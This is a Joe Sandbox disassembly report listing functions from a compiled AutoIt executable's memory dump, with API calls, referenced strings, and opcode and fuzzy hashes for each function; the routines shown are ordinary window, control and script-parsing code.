Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 1333e28ba99eacc5196e9dc176c0482a65ec48f50eb3ea01b8777818d594f658
Instruction ID: fa30271381efdaa60441743695fa4430d8d220ed39d622184e04978488477dc2
Opcode Fuzzy Hash: 1333e28ba99eacc5196e9dc176c0482a65ec48f50eb3ea01b8777818d594f658
Instruction Fuzzy Hash: BA0249B5204611DFCB14EF18D859A2AB7E5FF88710F05845DF99A9B3A2CB38ED01CB85

Function 00786BC9 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00786C56
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00786D16

Strings

ISSELECTED, xrefs: 00786D21
SELECTALL, xrefs: 00786D75
SELECT, xrefs: 00786DA8
GETSELECTEDCOUNT, xrefs: 00786CF9
SELECTINVERT, xrefs: 00786DDE
GETSUBITEMCOUNT, xrefs: 00786CA1
FINDITEM, xrefs: 00786E81
GETSELECTED, xrefs: 00786E3C
GETITEMCOUNT, xrefs: 00786C84
GETTEXT, xrefs: 00786CBF
VIEWCHANGE, xrefs: 00786ECD
SELECTCLEAR, xrefs: 00786D8D
DESELECT, xrefs: 00786DFC

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: cc8e48db8f41afe422baacc22a5a49ba628e99762a9d6d4f444cb2487e2a3b57
Instruction ID: e733faa549d9a68fac0bd0f20632d433c3e1893f9553a89bd34fa11d64ba316f
Opcode Fuzzy Hash: cc8e48db8f41afe422baacc22a5a49ba628e99762a9d6d4f444cb2487e2a3b57
Instruction Fuzzy Hash: AEA17C70244345EFCB14FF20D855A6AB3A5BF84310F14496DB896AB3D2DB38EC0ACB61

Function 0075CF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0075CF91
__swprintf.LIBCMT ref: 0075D032
_wcscmp.LIBCMT ref: 0075D045
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0075D09A
_wcscmp.LIBCMT ref: 0075D0D6
GetClassNameW.USER32(?,?,00000400), ref: 0075D10D
GetDlgCtrlID.USER32(?), ref: 0075D15F
GetWindowRect.USER32(?,?), ref: 0075D195
GetParent.USER32(?), ref: 0075D1B3
ScreenToClient.USER32(00000000), ref: 0075D1BA
GetClassNameW.USER32(?,?,00000100), ref: 0075D234
_wcscmp.LIBCMT ref: 0075D248
GetWindowTextW.USER32(?,?,00000400), ref: 0075D26E
_wcscmp.LIBCMT ref: 0075D282

Strings

%s%u, xrefs: 0075D02C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
String ID: %s%u
API String ID: 3119225716-679674701
Opcode ID: f5b82d19d9330ece2fc4f421c568d0df4ee457a7d5407999495bdaf5c4748a51
Instruction ID: 627d71bc10a65adc76b4f11a506337ee9f9c9764e09228c7542f16467bfa4222
Opcode Fuzzy Hash: f5b82d19d9330ece2fc4f421c568d0df4ee457a7d5407999495bdaf5c4748a51
Instruction Fuzzy Hash: A8A1EF31204706AFD735DF64C884BEAB7A8FF44351F008519FD9A92190DB78EE4ACB91

Function 0075D8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 0075D8EB
_wcscmp.LIBCMT ref: 0075D8FC
GetWindowTextW.USER32(00000001,?,00000400), ref: 0075D924
CharUpperBuffW.USER32(?,00000000), ref: 0075D941
_wcscmp.LIBCMT ref: 0075D95F
_wcsstr.LIBCMT ref: 0075D970
GetClassNameW.USER32(00000018,?,00000400), ref: 0075D9A8
_wcscmp.LIBCMT ref: 0075D9B8
GetWindowTextW.USER32(00000002,?,00000400), ref: 0075D9DF
GetClassNameW.USER32(00000018,?,00000400), ref: 0075DA28
_wcscmp.LIBCMT ref: 0075DA38
GetClassNameW.USER32(00000010,?,00000400), ref: 0075DA60
GetWindowRect.USER32(00000004,?), ref: 0075DAC9

Strings

@, xrefs: 0075D8C6
ThumbnailClass, xrefs: 0075D9B3, 0075DA33

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: f5afcf1283e37d44f1ad38f33df8f385348bfdf8709c12f346459dd473c5e46f
Instruction ID: 43965c447b6d36b729a6a1e83333f6d6d8080a1da4a467d657388821917b33a8
Opcode Fuzzy Hash: f5afcf1283e37d44f1ad38f33df8f385348bfdf8709c12f346459dd473c5e46f
Instruction Fuzzy Hash: 6181E5710083059BDB35DF50C884FEA7BE8EF84315F04846AFD899A096DB78ED49CBA1

Function 0075D6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0075D753

Strings

REGEXP=, xrefs: 0075D768
ACTIVE, xrefs: 0075D72E
LAST, xrefs: 0075D718
[ALL, xrefs: 0075D7F9
[CLASS:, xrefs: 0075D7A3
HANDLE=, xrefs: 0075D74C
[LAST, xrefs: 0075D800
[REGEXPTITLE:, xrefs: 0075D77B
ALL, xrefs: 0075D7E7
CLASSNAME=, xrefs: 0075D790
[HANDLE:, xrefs: 0075D75F
[ACTIVE, xrefs: 0075D740

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: c88dd2ae3d39337b24f8112a7872a72466ec3d0ff83bce030ed451a34f79c963
Instruction ID: 7bb18da604c120595b6d95ba4270988d0d3320ea51efd359966261054c5238f2
Opcode Fuzzy Hash: c88dd2ae3d39337b24f8112a7872a72466ec3d0ff83bce030ed451a34f79c963
Instruction Fuzzy Hash: 04318EB1A44205EADB34FA60ED57EED73B59F24711F20002AF841711D2FBADAE0AC665

Function 0075EA9D Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0075EAB0
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0075EAC2
SetWindowTextW.USER32(?,?), ref: 0075EAD9
GetDlgItem.USER32(?,000003EA), ref: 0075EAEE
SetWindowTextW.USER32(00000000,?), ref: 0075EAF4
GetDlgItem.USER32(?,000003E9), ref: 0075EB04
SetWindowTextW.USER32(00000000,?), ref: 0075EB0A
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0075EB2B
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0075EB45
GetWindowRect.USER32(?,?), ref: 0075EB4E
SetWindowTextW.USER32(?,?), ref: 0075EBB9
GetDesktopWindow.USER32 ref: 0075EBBF
GetWindowRect.USER32(00000000), ref: 0075EBC6
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0075EC12
GetClientRect.USER32(?,?), ref: 0075EC1F
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0075EC44
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0075EC6F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 23d67194aa18764959b0b94206eb50f344629a9c798190837c1996412ab2e98f
Instruction ID: a1b3f26e33eafa4a2b714b168b27d9725da47d21e207d81b01cfce880eb0bb69
Opcode Fuzzy Hash: 23d67194aa18764959b0b94206eb50f344629a9c798190837c1996412ab2e98f
Instruction Fuzzy Hash: DA513E71900709EFDB24DFA8CD89FAEBBB5FF44705F008518E556A25A0D7B8A948CB14

Function 007779B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 007779C6
LoadCursorW.USER32(00000000,00007F00), ref: 007779D1
LoadCursorW.USER32(00000000,00007F03), ref: 007779DC
LoadCursorW.USER32(00000000,00007F8B), ref: 007779E7
LoadCursorW.USER32(00000000,00007F01), ref: 007779F2
LoadCursorW.USER32(00000000,00007F81), ref: 007779FD
LoadCursorW.USER32(00000000,00007F88), ref: 00777A08
LoadCursorW.USER32(00000000,00007F80), ref: 00777A13
LoadCursorW.USER32(00000000,00007F86), ref: 00777A1E
LoadCursorW.USER32(00000000,00007F83), ref: 00777A29
LoadCursorW.USER32(00000000,00007F85), ref: 00777A34
LoadCursorW.USER32(00000000,00007F82), ref: 00777A3F
LoadCursorW.USER32(00000000,00007F84), ref: 00777A4A
LoadCursorW.USER32(00000000,00007F04), ref: 00777A55
LoadCursorW.USER32(00000000,00007F02), ref: 00777A60
LoadCursorW.USER32(00000000,00007F89), ref: 00777A6B
GetCursorInfo.USER32(?), ref: 00777A7B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 5012fff67af2776f980b6a28f23ffee18e2660eb1e4abbb63f6a38e0477178ca
Instruction ID: 3e6a34ffdefe3df7449833164580d085d7ee9e9cad8df13028fe586b20d91137
Opcode Fuzzy Hash: 5012fff67af2776f980b6a28f23ffee18e2660eb1e4abbb63f6a38e0477178ca
Instruction Fuzzy Hash: 1331F6B1D4831A6ADF109FBA8C8995FBEE8FF04750F508526A50DE7281DA7CA501CFA1

Function 0072C833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON

Download Yara Rule

APIs

Part of subcall function 0073E968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,0072C8B7,?,00002000,?,?,00000000,?,0072419E,?,?,?,007BDC00), ref: 0073E984

Part of subcall function 0072660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,007253B1,?,?,007261FF,?,00000000,00000001,00000000), ref: 0072662F

__wsplitpath.LIBCMT ref: 0072C93E

Part of subcall function 00741DFC: __wsplitpath_helper.LIBCMT ref: 00741E3C

_wcscpy.LIBCMT ref: 0072C953
_wcscat.LIBCMT ref: 0072C968
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 0072C978
SetCurrentDirectoryW.KERNEL32(?), ref: 0072CABE

Part of subcall function 0072B337: _wcscpy.LIBCMT ref: 0072B36F

Strings

Unterminated string, xrefs: 00793470
Bad directive syntax error, xrefs: 00793429
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00793098
>>>AUTOIT SCRIPT<<<, xrefs: 0079311B
Error opening the file, xrefs: 007930B4, 0079313D
AU3!, xrefs: 0072C90C
EA06, xrefs: 007930C9

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2258743419-1018226102
Opcode ID: 4d4763f86e25c100d459c0fc0ae89a4e6e61fb0d22a00b7e44951adaf8157975
Instruction ID: 7883570fed22a13ae9f4332aeef0ffaf9e08fc22644d38e14b655b97558ded09
Opcode Fuzzy Hash: 4d4763f86e25c100d459c0fc0ae89a4e6e61fb0d22a00b7e44951adaf8157975
Instruction Fuzzy Hash: 5D128D71508341DFC725EF24D885AAFBBF5AF99304F00491EF58A93262DB38DA49CB52

Function 0078CE58 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0078CEFB
DestroyWindow.USER32(?,?), ref: 0078CF73
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0078CFF4
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0078D016
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0078D025
DestroyWindow.USER32(?), ref: 0078D042
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00720000,00000000), ref: 0078D075
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0078D094
GetDesktopWindow.USER32 ref: 0078D0A9
GetWindowRect.USER32(00000000), ref: 0078D0B0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0078D0C2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0078D0DA

Part of subcall function 0073B526: GetWindowLongW.USER32(?,000000EB), ref: 0073B537

Strings

tooltips_class32, xrefs: 0078CFED, 0078D06E
0, xrefs: 0078CF1B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
String ID: 0$tooltips_class32
API String ID: 3877571568-3619404913
Opcode ID: 7068c78f0e3d8f1c749e6d0429e7a900f930e0111f2021b1414b591066c9852a
Instruction ID: 476cb11467c360948750c07fea56370077c6cf5ae94e7fa4e6553062a2f070a7
Opcode Fuzzy Hash: 7068c78f0e3d8f1c749e6d0429e7a900f930e0111f2021b1414b591066c9852a
Instruction Fuzzy Hash: 8671ACB0180345AFE724DF28CC85FA677E5EB89704F44851DF9858B2A1DB78ED42CB26

Function 0078F351 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

DragQueryPoint.SHELL32(?,?), ref: 0078F37A

Part of subcall function 0078D7DE: ClientToScreen.USER32(?,?), ref: 0078D807
Part of subcall function 0078D7DE: GetWindowRect.USER32(?,?), ref: 0078D87D
Part of subcall function 0078D7DE: PtInRect.USER32(?,?,0078ED5A), ref: 0078D88D

SendMessageW.USER32(?,000000B0,?,?), ref: 0078F3E3
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0078F3EE
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0078F411
_wcscat.LIBCMT ref: 0078F441
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0078F458
SendMessageW.USER32(?,000000B0,?,?), ref: 0078F471
SendMessageW.USER32(?,000000B1,?,?), ref: 0078F488
SendMessageW.USER32(?,000000B1,?,?), ref: 0078F4AA
DragFinish.SHELL32(?), ref: 0078F4B1
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0078F59C

Strings

@GUI_DROPID, xrefs: 0078F4D1
@GUI_DRAGFILE, xrefs: 0078F54B
@GUI_DRAGID, xrefs: 0078F510

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 59b3105a1bb1545bdab658b820831adfcf11ac75dde42b292b690973e278a50b
Instruction ID: 77e4e6d0f3d3424e407b3ea62273458c4bce2758bbf85454207f863f2c5a33ce
Opcode Fuzzy Hash: 59b3105a1bb1545bdab658b820831adfcf11ac75dde42b292b690973e278a50b
Instruction Fuzzy Hash: A2615971108340AFC311EF64DC89E9FBBF8EF99750F404A1EF595921A1DB789A09CB62

Function 0076AAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 0076AB3D
VariantCopy.OLEAUT32(?,?), ref: 0076AB46
VariantClear.OLEAUT32(?), ref: 0076AB52
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0076AC40
__swprintf.LIBCMT ref: 0076AC70
VarR8FromDec.OLEAUT32(?,?), ref: 0076AC9C
VariantInit.OLEAUT32(?), ref: 0076AD4D
SysFreeString.OLEAUT32(00000016), ref: 0076ADDF
VariantClear.OLEAUT32(?), ref: 0076AE35
VariantClear.OLEAUT32(?), ref: 0076AE44
VariantInit.OLEAUT32(00000000), ref: 0076AE80

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 0076AC6A
Default, xrefs: 0076ACFD

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 699e456154b4d6c7027f7d3c30c367220e020527815f6c8d4f15e0e24ef4fa6b
Instruction ID: 8c1633fb4e57aa67fe8ac3c7d4c5694a96466a67dcdecb4447c2e775dde0d062
Opcode Fuzzy Hash: 699e456154b4d6c7027f7d3c30c367220e020527815f6c8d4f15e0e24ef4fa6b
Instruction Fuzzy Hash: 2BD19EB1A04215EBDB209F65D889B6DB7B5FF05700F148465E80ABB181DB7CEC40DFA6

Function 0078716A Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 007871FC
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00787247

Strings

ISCHECKED, xrefs: 007873B2
SELECT, xrefs: 007873E0
EXPAND, xrefs: 007872E1
COLLAPSE, xrefs: 0078728D
UNCHECK, xrefs: 0078740B
CHECK, xrefs: 00787267
GETTEXT, xrefs: 00787382
EXISTS, xrefs: 007872B0
GETSELECTED, xrefs: 0078733F
GETTOTALCOUNT, xrefs: 0078722A
GETITEMCOUNT, xrefs: 00787311

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 18b41afa85c5d2bfc5ff447d4cfe09c93066976668ac429a955beba5286a852d
Instruction ID: 3337d8506983d166c840025fcdb928d9be46bcf0a5551ed2132a802e70996343
Opcode Fuzzy Hash: 18b41afa85c5d2bfc5ff447d4cfe09c93066976668ac429a955beba5286a852d
Instruction Fuzzy Hash: 98916D70204745DBCB09EF10C855A6EB7A1BF94310F14486DF89A6B7A3DB38ED0ACB91

Function 0075CB82 Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 239COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0075CF50), ref: 0075CE90

Strings

P+}, xrefs: 0075CD43
L+}, xrefs: 0075CD14
TEXT, xrefs: 0075CDC7
NAME, xrefs: 0075CCC2
REGEXPCLASS, xrefs: 0075CC56
4+}, xrefs: 0075CC96
INSTANCE, xrefs: 0075CD9E
H+}, xrefs: 0075CCE8
CLASSNN, xrefs: 0075CC33
T+}, xrefs: 0075CD72
CLASS, xrefs: 0075CC10

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ChildEnumWindows
String ID: 4+}$CLASS$CLASSNN$H+}$INSTANCE$L+}$NAME$P+}$REGEXPCLASS$T+}$TEXT
API String ID: 3555792229-3448502944
Opcode ID: e2be2755dfa2a4059e0ea316adc036cdd738574a85559396711895e3eb9c5ec0
Instruction ID: 4eb175a6944122a65545b0bd023ddf47a2ec45c6884d187c67944e5def47c004
Opcode Fuzzy Hash: e2be2755dfa2a4059e0ea316adc036cdd738574a85559396711895e3eb9c5ec0
Instruction Fuzzy Hash: FE918270600606DEDB19EF60C486BEDFB75BF04301F50852AD849A7191DFB8A95ECBE0

Function 0078E4F5 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0078E5AB
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,0078BEAF), ref: 0078E607
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0078E647
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0078E68C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0078E6C3
FreeLibrary.KERNEL32(?,00000004,?,?,?,?,0078BEAF), ref: 0078E6CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0078E6DF
DestroyIcon.USER32(?,?,?,?,?,0078BEAF), ref: 0078E6EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0078E70B
